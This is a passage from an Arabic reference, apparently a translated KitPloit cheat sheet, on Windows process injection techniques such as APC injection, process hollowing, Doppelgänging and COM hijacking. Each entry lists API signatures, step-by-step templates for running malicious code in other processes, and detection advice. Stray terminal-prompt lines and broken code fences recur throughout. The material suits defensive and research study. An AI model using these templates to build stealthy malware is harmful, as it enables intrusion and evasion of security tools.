  • تخصيص ذاكرة لكل قسم
  • نسخ الأقسام إلى الذاكرة المخصصة
  • معالجة جدول إعادة التوطين:
    • تعداد إدخالات إعادة التوطين
    • تطبيق عمليات إعادة التوطين بناءً على العنوان الأساسي الجديد
  • حل الاستيرادات:
    • التنقل عبر دليل الاستيراد
    • لكل دالة مستوردة، حل عنوانها باستخدام GetProcAddress
    • كتابة العناوين التي تم حلها إلى الـ IAT
  1. تنفيذ نقطة دخول الـ DLL باستخدام إحدى طرق إنشاء الخيوط

الاكتشاف والدفاع:

  • تنفيذ تقنيات متقدمة لفحص الذاكرة لاكتشاف الكود المحقون
  • استخدام اكتشاف قائم على السلوك لتحديد أنماط تخصيص الذاكرة المشبوهة
  • مراقبة عمليات تعيين الملفات غير المعتادة
  • استخدام طرق اكتشاف قائمة على الاستدلال لتحديد أدوات التحميل الانعكاسية

4. حقن APC

تسمح هذه التقنية بتنفيذ الكود في خيط محدد عبر الإرفاق بقائمة استدعاء الإجراءات غير المتزامنة (APC). تعمل بشكل أفضل مع الخيوط القابلة للتنبيه (تلك التي تستدعي دوال الانتظار القابلة للتنبيه).

واجهات برمجة التطبيقات الرئيسية:

  • CreateToolhelp32Snapshot ```c HANDLE CreateToolhelp32Snapshot( DWORD dwFlags, DWORD th32ProcessID );
    root@kitploit:~
  • Process32First ```c BOOL Process32First( HANDLE hSnapshot, LPPROCESSENTRY32 lppe );
    root@kitploit:~

Process32Next ```c BOOL Process32Next( HANDLE hSnapshot, LPPROCESSENTRY32 lppe );

root@kitploit:~
- [`Thread32First`](https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-thread32first)  ```c
BOOL Thread32First(
  HANDLE          hSnapshot,
  LPTHREADENTRY32 lpte
);
  • Thread32Next ```c BOOL Thread32Next( HANDLE hSnapshot, LPTHREADENTRY32 lpte );
    root@kitploit:~

QueueUserAPC ```c DWORD QueueUserAPC( PAPCFUNC pfnAPC, HANDLE hThread, ULONG_PTR dwData );

root@kitploit:~
`KeInitializeAPC` (وضع النواة، غير موثّق)  ```c
VOID KeInitializeApc(
  PRKAPC Apc,
  PRKTHREAD Thread,
  KAPC_ENVIRONMENT Environment,
  PKKERNEL_ROUTINE KernelRoutine,
  PKRUNDOWN_ROUTINE RundownRoutine,
  PKNORMAL_ROUTINE NormalRoutine,
  KPROCESSOR_MODE ProcessorMode,
  PVOID NormalContext
);

القالب:

  1. إنشاء لقطة من عمليات النظام باستخدام CreateToolhelp32Snapshot
  2. تعداد العمليات والخيوط باستخدام Process32First وProcess32Next وThread32First وThread32Next
  3. فتح العملية المستهدفة باستخدام OpenProcess
  4. تخصيص ذاكرة في العملية المستهدفة باستخدام VirtualAllocEx
  5. كتابة التعليمات البرمجية الخبيثة إلى الذاكرة المخصصة باستخدام WriteProcessMemory
  6. إدراج APC في قائمة انتظار الخيط المستهدف باستخدام QueueUserAPC، مع الإشارة إلى الكود المحقون

الكشف والدفاع:

  • مراقبة عمليات قائمة انتظار APC المشبوهة
  • تطبيق مراقبة تنفيذ الخيوط لاكتشاف تنفيذ التعليمات البرمجية غير المتوقع
  • استخدام حلول EDR القادرة على كشف إساءة استخدام APC
  • استخدام التحليل في وقت التشغيل لتحديد سلوك الخيوط غير المعتاد

5. تفريغ العملية (استبدال العملية)

تعمل هذه التقنية على "تفريغ" كامل محتوى العملية وإدراج محتوى خبيث فيها.

واجهات برمجة التطبيقات الرئيسية:

  • CreateProcess ```c BOOL CreateProcessA( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation );
    root@kitploit:~
  • NtQueryInformationProcess (غير موثّق) ```c NTSTATUS NTAPI NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength OPTIONAL );
    root@kitploit:~
  • GetModuleHandle ```c HMODULE GetModuleHandleA( LPCSTR lpModuleName );
    root@kitploit:~
  • ZwUnmapViewOfSection / NtUnmapViewOfSection (غير موثّقة) ```c NTSTATUS NTAPI NtUnmapViewOfSection( IN HANDLE ProcessHandle, IN PVOID BaseAddress );
    root@kitploit:~
  • VirtualAllocEx (انظر أعلاه)

القالب:

  1. إنشاء عملية جديدة في حالة معلّقة باستخدام CreateProcess مع العلامة CREATE_SUSPENDED
  2. الحصول على معلومات العملية باستخدام NtQueryInformationProcess
  3. إلغاء تعيين الملف التنفيذي الأصلي من العملية باستخدام NtUnmapViewOfSection بعد إلغاء تعيين الملف التنفيذي الأصلي، قم بضبط عنوان قاعدة الصورة في PEB (كتلة بيئة العملية) ليشير إلى الذاكرة المخصصة الجديدة.
  4. ضبط عنوان قاعدة الصورة في PEB:
  • استخدم ReadProcessMemory لقراءة PEB
  • حدد حقل ImageBaseAddress
  • استخدم WriteProcessMemory لتحديثه بعنوان الذاكرة المخصصة حديثًا
  1. تخصيص ذاكرة في العملية الهدف باستخدام VirtualAllocEx
  2. كتابة الملف التنفيذي الخبيث إلى الذاكرة المخصصة باستخدام WriteProcessMemory
  3. تحديث سياق الخيط ليشير إلى نقطة الدخول الجديدة باستخدام GetThreadContext وSetThreadContext
  4. استئناف الخيط الرئيسي للعملية باستخدام ResumeThread

الكشف والدفاع:

  • تنفيذ فحوصات سلامة العمليات للكشف عن العمليات المجوّفة
  • مراقبة أنماط إنشاء العمليات المشبوهة، خاصةً مع العلامة CREATE_SUSPENDED
  • استخدام أدوات تحليل الذاكرة لتحديد علامات إفراغ العملية (Process Hollowing)
  • توظيف الكشف القائم على السلوك لتحديد العمليات ذات التخطيطات الذاكرية غير المتوقعة

6. AtomBombing

أحد أشكال حقن APC يعمل عن طريق تقسيم الحمولة الخبيثة إلى سلاسل منفصلة واستخدام الذرات. تعتمد هذه التقنية على حقيقة أن الذرات مشتركة بين العمليات.

أهم واجهات API:

  • OpenThread (انظر أعلاه)
  • GlobalAddAtom ```c ATOM GlobalAddAtomA( LPCSTR lpString );
    root@kitploit:~

GlobalGetAtomName ```c UINT GlobalGetAtomNameA( ATOM nAtom, LPSTR lpBuffer, int nSize );

root@kitploit:~
- `QueueUserAPC` (انظر أعلاه)
- `NtQueueApcThread` (غير موثق، انظر أعلاه)
- `NtSetContextThread` (غير موثق)  ```c
NTSTATUS NTAPI NtSetContextThread(
  IN HANDLE ThreadHandle,
  IN PCONTEXT ThreadContext
);

القالب:

  1. قسّم الحمولة الضارة إلى أجزاء صغيرة
  2. لكل جزء، استخدم GlobalAddAtom لإنشاء ذرة عامة
  3. افتح الخيط الهدف باستخدام OpenThread
  4. ضع APC في قائمة انتظار الخيط الهدف باستخدام QueueUserAPC أو NtQueueApcThread
  5. في روتين APC، استخدم GlobalGetAtomName لاسترداد أجزاء الحمولة
  6. جمّع الحمولة في ذاكرة العملية الهدف
  7. نفّذ الحمولة باستخدام NtSetContextThread أو عن طريق وضع APC آخر في قائمة الانتظار

الكشف والدفاع:

  • راقب الأنماط غير المعتادة لإنشاء الذرات واستردادها
  • نفّذ كشفًا قائمًا على السلوك للعمليات التي تصل إلى عدد كبير من الذرات
  • استخدم حلول EDR القادرة على اكتشاف تقنيات AtomBombing
  • استخدم تحليل وقت التشغيل (runtime analysis) لتحديد استخدام APC المشبوه المقترن بالتلاعب بالذرات

7. Process Doppelgänging

تطوّر لتقنية Process Hollowing يستبدل الصورة قبل إنشاء العملية. تستخدم هذه التقنية Windows Transactional NTFS (TxF) لاستبدال ملف شرعي مؤقتًا بملف خبيث أثناء إنشاء العملية.

واجهات برمجة التطبيقات الرئيسية:

  • CreateTransaction ```c HANDLE CreateTransaction( LPSECURITY_ATTRIBUTES lpTransactionAttributes, LPGUID UOW, DWORD CreateOptions, DWORD IsolationLevel, DWORD IsolationFlags, DWORD Timeout, LPWSTR Description );
    root@kitploit:~
  • CreateFileTransacted ```c HANDLE CreateFileTransactedA( LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile, HANDLE hTransaction, PUSHORT pusMiniVersion, PVOID lpExtendedParameter );
    root@kitploit:~

NtCreateSection (غير موثق) ```c NTSTATUS NTAPI NtCreateSection( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG SectionPageProtection, IN ULONG AllocationAttributes, IN HANDLE FileHandle OPTIONAL );

root@kitploit:~
- `NtCreateProcessEx` (غير موثق)  ```c
NTSTATUS NTAPI NtCreateProcessEx(
  OUT PHANDLE ProcessHandle,
  IN ACCESS_MASK DesiredAccess,
  IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
  IN HANDLE ParentProcess,
  IN ULONG Flags,
  IN HANDLE SectionHandle OPTIONAL,
  IN HANDLE DebugPort OPTIONAL,
  IN HANDLE ExceptionPort OPTIONAL,
  IN BOOLEAN InJob
);
  • NtQueryInformationProcess (غير موثّقة، انظر أعلاه)
  • NtCreateThreadEx (غير موثّقة) ```c NTSTATUS NTAPI NtCreateThreadEx( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ProcessHandle, IN PVOID StartRoutine, IN PVOID Argument OPTIONAL, IN ULONG CreateFlags, IN SIZE_T ZeroBits, IN SIZE_T StackSize, IN SIZE_T MaximumStackSize, IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL );
    root@kitploit:~
  • RollbackTransaction ```c BOOL RollbackTransaction( HANDLE TransactionHandle );
    root@kitploit:~

القالب:

  1. أنشئ معاملة باستخدام CreateTransaction
  2. أنشئ ملفًا بمعاملة مع CreateFileTransacted
  3. اكتب الحمولة الخبيثة إلى الملف المُعامل
  4. أنشئ قسمًا للملف المُعامل باستخدام NtCreateSection
  5. أنشئ عملية من القسم باستخدام NtCreateProcessEx
  6. أنشئ خيطًا في العملية الجديدة باستخدام NtCreateThreadEx
  7. تراجع عن المعاملة باستخدام RollbackTransaction لإزالة آثار الملف الخبيث

الاكتشاف والدفاع:

  • راقب عمليات NTFS المُعاملات المشبوهة
  • نفّذ مراقبة تكامل الملفات لكشف استبدال الملفات المؤقتة
  • استخدم حلول EDR متقدمة قادرة على كشف تقنيات Process Doppelgänging
  • اعتمد اكتشافًا قائمًا على السلوك لتحديد العمليات المنشأة من ملفات مُعامَلة

8. Process Herpaderping

مشابهة لـ Process Doppelgänging، لكنها تستغل ترتيب إنشاء العملية والفحوصات الأمنية. تستغل هذه التقنية حقيقة أن Windows يجري فحوصات أمنية على الملف التنفيذي قبل بدء تشغيل العملية. ```c HANDLE CreateFileA( LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile );

root@kitploit:~
- `NtCreateSection` (غير موثق، انظر أعلاه)
- `NtCreateProcessEx` (غير موثق، انظر أعلاه)
- `NtCreateThreadEx` (غير موثق، انظر أعلاه)

القالب:
1. إنشاء ملف باستخدام `CreateFile`
2. كتابة الحمولة الخبيثة إلى الملف
3. إنشاء قسم (Section) للملف باستخدام `NtCreateSection`
4. استبدال محتوى الملف ببيانات غير ضارة
5. إنشاء عملية من القسم باستخدام `NtCreateProcessEx`
6. إنشاء خيط في العملية الجديدة باستخدام `NtCreateThreadEx`

الكشف والدفاع:
- تنفيذ مراقبة سلامة الملفات لاكتشاف التغييرات السريعة في الملفات القابلة للتنفيذ
- استخدام الكشف القائم على السلوك لتحديد العمليات التي تحتوي على محتويات ملفات غير مطابقة
- توظيف حلول EDR متقدمة قادرة على اكتشاف تقنيات Process Herpaderping
- مراقبة الأنماط المشبوهة لإنشاء الملفات وتعديلها وإنشاء العمليات

## 9. حقن Hook

تستخدم هذه التقنية دوال متعلقة بالخطافات (Hooking) لحقن DLL خبيث. يمكن استخدام هذه التقنية أيضًا لخطاف واجهات برمجة التطبيقات (API hooking)، وليس فقط للحقن.

واجهات برمجة التطبيقات الرئيسية:
- [`SetWindowsHookEx`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa)  ```c
HHOOK SetWindowsHookExA(
  int       idHook,
  HOOKPROC  lpfn,
  HINSTANCE hmod,
  DWORD     dwThreadId
);
  • PostThreadMessage ```c BOOL PostThreadMessageA( DWORD idThread, UINT Msg, WPARAM wParam, LPARAM lParam );
    root@kitploit:~

القالب:

  1. أنشئ DLL يحتوي على إجراء الخطاف
  2. استخدم SetWindowsHookEx لتعيين خطاف في العملية الهدف
  3. قم بتشغيل الخطاف بإرسال رسالة عبر PostThreadMessage

الكشف والدفاع:

  • راقب الاستخدام المشبوه لـ SetWindowsHookEx، خاصةً مع الخطافات العامة
  • طبّق آليات كشف خطافات API
  • استخدم حلول EDR القادرة على اكتشاف عمليات تثبيت الخطافات غير الطبيعية
  • وظّف الكشف القائم على السلوك لتحديد العمليات التي تحتوي على وحدات محمّلة غير متوقعة

10. حقن ذاكرة النوافذ الإضافية

تحقن هذه التقنية الكود في عملية باستخدام ذاكرة النوافذ الإضافية (EWM)، والتي تُلحق بمثيل فئة أثناء تسجيل فئة النافذة. وهي أقل شيوعًا وقد تُكتشف بواسطة بعض حلول الأمان.

واجهات برمجة التطبيقات الرئيسية:

  • FindWindowA ```c HWND FindWindowA( LPCSTR lpClassName, LPCSTR lpWindowName );
    root@kitploit:~
  • GetWindowThreadProcessId ```c DWORD GetWindowThreadProcessId( HWND hWnd, LPDWORD lpdwProcessId );
    root@kitploit:~
  • OpenProcess (انظر أعلاه)
  • VirtualAllocEx (انظر أعلاه)
  • WriteProcessMemory (انظر أعلاه)
  • SetWindowLongPtrA (انظر أعلاه) ```c LONG_PTR SetWindowLongPtrA( HWND hWnd, int nIndex, LONG_PTR dwNewLong );
    root@kitploit:~
  • SendNotifyMessage ```c BOOL SendNotifyMessageA( HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam );
    root@kitploit:~

القالب:

  1. ابحث عن النافذة المستهدفة باستخدام FindWindowA
  2. احصل على معرف العملية للنافذة باستخدام GetWindowThreadProcessId
  3. افتح العملية باستخدام OpenProcess
  4. خصّص ذاكرة في العملية المستهدفة باستخدام VirtualAllocEx
  5. اكتب الكود الخبيث في الذاكرة المخصّصة باستخدام WriteProcessMemory
  6. استخدم SetWindowLongPtrA لتعديل الذاكرة الإضافية للنافذة
  7. قم بتشغيل التنفيذ باستخدام SendNotifyMessage

الكشف والدفاع:

  • راقب التعديلات المشبوهة على خصائص النافذة
  • نفّذ فحوصات سلامة لبيانات فئة النافذة
  • استخدم حلول EDR القادرة على اكتشاف التلاعب بـ EWM
  • اعتمد على الاكتشاف القائم على السلوك لتحديد العمليات التي تظهر تغييرات غير متوقعة في خصائص النافذة

11. انتشار الحقن

تُستخدم هذه التقنية لحقن كود خبيث في العمليات ذات مستوى تكامل متوسط، مثل explorer.exe. تعمل عن طريق تعداد النوافذ وإنشاء فئات فرعية لها (subclassing). ويمكن أن تكون فعالة بشكل خاص لتصعيد الامتيازات.

واجهات برمجة التطبيقات الرئيسية:

  • EnumWindows ```c BOOL EnumWindows( WNDENUMPROC lpEnumFunc, LPARAM lParam );
    root@kitploit:~

EnumChildWindows ```c BOOL EnumChildWindows( HWND hWndParent, WNDENUMPROC lpEnumFunc, LPARAM lParam );

root@kitploit:~
- [`EnumProps`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumpropa)  ```c
int EnumPropsA(
  HWND      hWnd,
  PROPENUMPROCA lpEnumFunc
);
  • GetProp ```c HANDLE GetPropA( HWND hWnd, LPCSTR lpString );
    root@kitploit:~
  • SetWindowSubclass ```c BOOL SetWindowSubclass( HWND hWnd, SUBCLASSPROC pfnSubclass, UINT_PTR uIdSubclass, DWORD_PTR dwRefData );
    root@kitploit:~
  • FindWindow (انظر أعلاه)
  • FindWindowEx (انظر أعلاه)
  • GetWindowThreadProcessId (انظر أعلاه)
  • OpenProcess (انظر أعلاه)
  • ReadProcessMemory (انظر أعلاه)
  • VirtualAllocEx (انظر أعلاه)
  • WriteProcessMemory (انظر أعلاه)
  • ```c BOOL SetPropA( HWND hWnd, LPCSTR lpString, HANDLE hData );

القالب:

  1. عدّد النوافذ باستخدام EnumWindows وEnumChildWindows
  2. لكل نافذة، تحقق من النوافذ المُصنَّفة فرعيًا باستخدام EnumProps وGetProp
  3. افتح العملية المستهدفة باستخدام OpenProcess
  4. خصص ذاكرة في العملية المستهدفة باستخدام VirtualAllocEx
  5. اكتب الكود الخبيث في الذاكرة المخصصة باستخدام WriteProcessMemory
  6. صنّف النافذة فرعيًا باستخدام SetWindowSubclass
  7. عيّن خاصية جديدة باستخدام SetPropA لتخزين الحمولة
  8. شغّل التنفيذ عن طريق إرسال رسالة باستخدام PostMessage

الاكتشاف والدفاع:

  • راقب الأنماط المشبوهة لتعداد النوافذ والتصنيف الفرعي
  • نفّذ فحوصات سلامة للتصنيف الفرعي للنوافذ
  • استخدم حلول EDR القادرة على اكتشاف تقنيات حقن الانتشار
  • اعتمد الكشف القائم على السلوك لتحديد العمليات التي تظهر تغييرات غير متوقعة في التصنيف الفرعي للنوافذ

12. رش الكومة

على الرغم من أنها ليست تقنية حقن بالمعنى الدقيق، فإن رش الكومة يُستخدم غالبًا بالتزامن مع طرق الحقن الأخرى لتسهيل توصيل حمولة الاستغلال. وقد نفذت المتصفحات الحديثة وأنظمة التشغيل إجراءات تخفيف ضد ذلك.

واجهات برمجة التطبيقات الرئيسية:

  • HeapAlloc ```c LPVOID HeapAlloc( HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes );
    root@kitploit:~
  • VirtualAlloc ```c LPVOID VirtualAlloc( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
    root@kitploit:~

القالب:

  1. قم بتخصيص كتل ذاكرة متعددة باستخدام HeapAlloc أو VirtualAlloc
  2. املأ هذه الكتل بمزيج من منزلقات NOP والحمولة
  3. كرر هذه العملية لتغطية جزء كبير من مساحة عنوان العملية

الكشف والدفاع:

  • تنفيذ مراقبة تخصيص الذاكرة لكشف الأنماط المشبوهة
  • استخدام التوزيع العشوائي لتخطيط مساحة العنوان (ASLR) للتخفيف من هجمات رش الكومة
  • استخدام حلول EDR القادرة على كشف تقنيات رش الكومة
  • تنفيذ تدابير تخفيف خاصة بالمتصفح، مثل عشوائية تخصيص الكومة

13. اختطاف تنفيذ الخيط

تتضمن هذه التقنية تعليق خيط شرعي في العملية المستهدفة، وتعديل سياق تنفيذه ليشير إلى تعليمات برمجية خبيثة، ثم استئناف الخيط. حفظ واستعادة سياق الخيط الأصلي المطلوب للحفاظ على استقرار العملية.

واجهات برمجة التطبيقات الرئيسية:

  • OpenThread (انظر أعلاه)
  • SuspendThread (انظر أعلاه)
  • GetThreadContext (انظر أعلاه)
  • SetThreadContext (انظر أعلاه)
  • VirtualAllocEx (انظر أعلاه)
  • WriteProcessMemory (انظر أعلاه)
  • ResumeThread (انظر أعلاه)

القالب:

  1. افتح الخيط المستهدف باستخدام OpenThread
  2. علّق الخيط باستخدام SuspendThread
  3. احصل على سياق الخيط باستخدام GetThreadContext
  4. خصص ذاكرة في العملية المستهدفة باستخدام VirtualAllocEx
  5. اكتب التعليمات البرمجية الخبيثة في الذاكرة المخصصة باستخدام WriteProcessMemory
  6. عدّل سياق الخيط ليشير إلى التعليمات البرمجية المحقونة باستخدام SetThreadContext
  7. استئنف الخيط باستخدام ResumeThread

الكشف والدفاع:

  • مراقبة الأنماط المشبوهة لتعليق الخيوط واستئنافها
  • تنفيذ مراقبة تنفيذ الخيوط لكشف التغييرات غير المتوقعة في تدفق التنفيذ
  • استخدام حلول EDR القادرة على كشف تقنيات اختطاف الخيوط
  • استخدام التحليل في وقت التشغيل لتحديد سلوك الخيوط غير المعتاد

14. الكتابة فوق الوحدات (Module Stomping)

تتضمن هذه التقنية الكتابة فوق ذاكرة وحدة شرعية في العملية المستهدفة بتعليمات برمجية خبيثة، مما قد يتجاوز بعض الفحوصات الأمنية. يتم اكتشافها من خلال فحوصات التكامل على الوحدات المحمّلة.

واجهات برمجة التطبيقات الرئيسية:

  • GetModuleInformation ```c BOOL GetModuleInformation( HANDLE hProcess, HMODULE hModule, LPMODULEINFO lpmodinfo, DWORD cb );
    root@kitploit:~

VirtualProtectEx ```c BOOL VirtualProtectEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect );

root@kitploit:~
- `WriteProcessMemory` (انظر أعلاه)

القالب:
1. افتح العملية المستهدفة باستخدام `OpenProcess`
2. احصل على معلومات حول الوحدة المستهدفة باستخدام `GetModuleInformation`
3. غيّر حماية الذاكرة للوحدة إلى قابلة للكتابة باستخدام `VirtualProtectEx`
4. اكتب فوق قسم الكود الخاص بالوحدة بكود خبيث باستخدام `WriteProcessMemory`
5. استعد حماية الذاكرة الأصلية باستخدام `VirtualProtectEx`

الاكتشاف والدفاع:
- نفّذ فحوصات تكامل الوحدات لاكتشاف التعديلات على الوحدات المحمّلة
- استخدم حلول EDR القادرة على اكتشاف تقنيات استبدال الوحدات
- وظّف أدوات الطب الشرعي للذاكرة لتحديد علامات استبدال الوحدات
- نفّذ آليات توقيع الكود والتحقق منه للوحدات المحمّلة

## 15. اعتراض IAT

تقوم هذه التقنية بتعديل جدول عناوين الاستيراد (IAT) لعملية ما لإعادة توجيه استدعاءات الدوال إلى كود خبيث. يُكتشف من خلال مقارنة إدخالات IAT مع عناوين الدوال الفعلية في مكتبات DLL المستهدفة.

واجهات برمجة التطبيقات الرئيسية:
- [`GetProcAddress`](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress)  ```c
FARPROC GetProcAddress(
  HMODULE hModule,
  LPCSTR  lpProcName
);

VirtualProtect ```c BOOL VirtualProtect( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect );

root@kitploit:~
قالب:
1. حدد موقع IAT للعملية المستهدفة
2. حدد الدالة التي سيتم ربطها
3. غيّر حماية ذاكرة IAT لتكون قابلة للكتابة باستخدام `VirtualProtect`
4. استبدل عنوان الدالة الأصلية بعنوان الدالة الضارة
- احسب عنوان إدخال IAT للدالة المستهدفة
- اقرأ عنوان الدالة الأصلية من إدخال IAT
- استبدل عنوان الدالة الأصلية بعنوان الدالة الضارة
5. استرجِع حماية الذاكرة الأصلية

الاكتشاف والدفاع:
- طبّق فحوصات سلامة IAT لاكتشاف التعديلات
- استخدم حلول EDR القادرة على اكتشاف ربط IAT
- استخدم تحليل وقت التشغيل لتحديد عمليات إعادة توجيه الدوال غير المتوقعة
- طبّق آليات توقيع الكود والتحقق من الوحدات المحمّلة

## 16. الربط المضمّن

تعدّل هذه التقنية التعليمات القليلة الأولى من الدالة لإعادة توجيه التنفيذ إلى كود ضار. يتطلب ذلك معالجة دقيقة للتعليمات متعددة البايت والقفزات النسبية. 

واجهات API الرئيسية:
- `VirtualProtect` (انظر أعلاه)
- [`memcpy`](https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/memcpy-wmemcpy)  ```c
void *memcpy(
  void *dest,
  const void *src,
  size_t count
);

القالب:

  1. حدّد موقع الدالة المستهدفة في الذاكرة
  2. غيّر حماية الذاكرة إلى وضع قابل للكتابة باستخدام VirtualProtect
  3. احفظ التعليمات الأصلية (عادةً 5 بايتات أو أكثر)
  4. اكتب فوق بداية الدالة قفزةً إلى الكود الخبيث
  5. في الكود الخبيث، نفّذ التعليمات الأصلية المحفوظة ثم اقفز عائدًا إلى الدالة الأصلية

الكشف والدفاع:

  • طبّق فحوصات سلامة الدوال لاكتشاف التعديلات على مقدمات الدوال
  • استخدم حلول EDR القادرة على اكتشاف الربط الداخلي
  • استخدم تحليل وقت التشغيل لتحديد التغييرات غير المتوقعة في تدفق تنفيذ الدوال
  • طبّق آليات توقيع الكود والتحقق منه للوحدات المحمّلة

17. الحقن عبر أداة التصحيح

تستخدم هذه التقنية واجهات برمجة تطبيقات التصحيح لحقن الكود في العملية المستهدفة. يمكن اكتشافها بواسطة فحوصات مكافحة التصحيح في العملية المستهدفة.

واجهات برمجة التطبيقات الرئيسية:

  • DebugActiveProcess ```c BOOL DebugActiveProcess( DWORD dwProcessId );
    root@kitploit:~
  • WaitForDebugEvent ```c BOOL WaitForDebugEvent( LPDEBUG_EVENT lpDebugEvent, DWORD dwMilliseconds );
    root@kitploit:~

ContinueDebugEvent ```c BOOL ContinueDebugEvent( DWORD dwProcessId, DWORD dwThreadId, DWORD dwContinueStatus );

root@kitploit:~
Template:
1. اربط بالعملية الهدف كمصحح أخطاء باستخدام `DebugActiveProcess`
2. انتظر أحداث التصحيح باستخدام `WaitForDebugEvent`
3. عند حدوث حدث مناسب، احقن الكود الخبيث باستخدام `WriteProcessMemory`
4. عدّل سياق الخيط لتنفيذ الكود المحقون
5. تابع حدث التصحيح باستخدام `ContinueDebugEvent`

الكشف والدفاع:
- طبّق تقنيات مقاومة التصحيح (anti-debugging) في التطبيقات الحساسة
- راقب الاستخدام المشبوه لواجهات برمجة تطبيقات التصحيح
- استخدم حلول EDR القادرة على كشف الحقن المعتمد على المصحح
- استخدم التحليل الزمني (runtime analysis) لتحديد أحداث التصحيح غير المتوقعة

## 18. اختطاف COM

تتضمن هذه التقنية استبدال كائنات COM الشرعية بأخرى خبيثة لتنفيذ الكود عند إنشاء كائن COM. تُستخدم للاستمرارية (persistence)، وليس فقط للحقن.

الواجهات البرمجية الرئيسية:
- [`CoCreateInstance`](https://docs.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance)  ```c
HRESULT CoCreateInstance(
  REFCLSID rclsid,
  LPUNKNOWN pUnkOuter,
  DWORD dwClsContext,
  REFIID riid,
  LPVOID *ppv
);
  • RegOverridePredefKey ```c LSTATUS RegOverridePredefKey( HKEY hKey, HKEY hNewHKey );
    root@kitploit:~

القالب:

  1. إنشاء كائن COM ضار
  2. تعديل السجل لاستبدال CLSID لكائن COM شرعي بالكائن الضار
  3. عندما يستدعي التطبيق CoCreateInstance، سيتم إنشاء الكائن الضار بدلاً من ذلك

الكشف والدفاع:

  • تنفيذ فحوصات سلامة كائنات COM
  • مراقبة التعديلات المشبوهة في السجل المتعلقة بكائنات COM
  • استخدام القوائم البيضاء للتطبيقات لمنع تحميل كائنات COM غير المصرح بها
  • الاعتماد على الكشف القائم على السلوك لتحديد الإنشاء غير المتوقع لكائنات COM

19. Phantom DLL Hollowing

تتضمن هذه التقنية إنشاء قسم جديد في مكتبة DLL شرعية وحقن الكود فيه.

واجهات برمجة التطبيقات الرئيسية:

  • LoadLibraryEx ```c HMODULE LoadLibraryExA( LPCSTR lpLibFileName, HANDLE hFile, DWORD dwFlags );
    root@kitploit:~
  • VirtualAlloc ```c LPVOID VirtualAlloc( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
    root@kitploit:~

VirtualProtect ```c BOOL VirtualProtect( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect );

root@kitploit:~
1. قم بتحميل DLL شرعي باستخدام `LoadLibraryEx` مع العلامة `DONT_RESOLVE_DLL_REFERENCES`
2. قم بتخصيص قسم ذاكرة جديد باستخدام `VirtualAlloc`
3. انسخ الكود الخبيث إلى القسم الجديد
4. عدّل ترويسات PE الخاصة بـ DLL لتضمين القسم الجديد
5. غيّر حماية الذاكرة للقسم الجديد باستخدام `VirtualProtect`
6. نفّذ الكود المحقون

الكشف والدفاع:
- نفّذ فحوصات تكامل DLL لكشف التعديلات
- راقب الأنماط المشبوهة لتحميل DLL وتخصيص الذاكرة
- استخدم حلول EDR القادرة على كشف تجويف DLL الوهمي
- استخدم أدوات التحليل الجنائي للذاكرة لتحديد علامات التلاعب بـ DLL

## 20. PROPagate

تستغل هذه التقنية دوال Windows API الخاصة بـ SetProp/GetProp لتحقيق تنفيذ التعليمات البرمجية.

واجهات برمجة التطبيقات الرئيسية:
- [`SetProp`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setpropa)  ```c
BOOL SetPropA(
  HWND   hWnd,
  LPCSTR lpString,
  HANDLE hData
);
  • GetProp ```c HANDLE GetPropA( HWND hWnd, LPCSTR lpString );
    root@kitploit:~
  • EnumPropsEx ```c int EnumPropsExW( HWND hWnd, PROPENUMPROCEXW lpEnumFunc, LPARAM lParam );
    root@kitploit:~

القالب:

  1. ابحث عن نافذة هدف باستخدام FindWindow أو EnumWindows
  2. خصّص ذاكرة للحمولة باستخدام VirtualAllocEx
  3. اكتب الحمولة إلى الذاكرة المخصصة باستخدام WriteProcessMemory
  4. استخدم SetProp لتعيين خاصية على النافذة، مع عنوان الحمولة كقيمة للخاصية
  • أنشئ إجراء نافذة مخصصًا ينفّذ الحمولة
  • استخدم SetWindowLongPtr لاستبدال إجراء النافذة الأصلي بالإجراء المخصص
  1. شغّل التنفيذ عن طريق جعل النافذة تُعدِّد خصائصها (على سبيل المثال، عن طريق إرسال رسالة تؤدي إلى إعادة الرسم)

الكشف والدفاع:

  • راقب التعديلات المشبوهة على خصائص النافذة
  • نفّذ فحوصات التكامل لخصائص النافذة
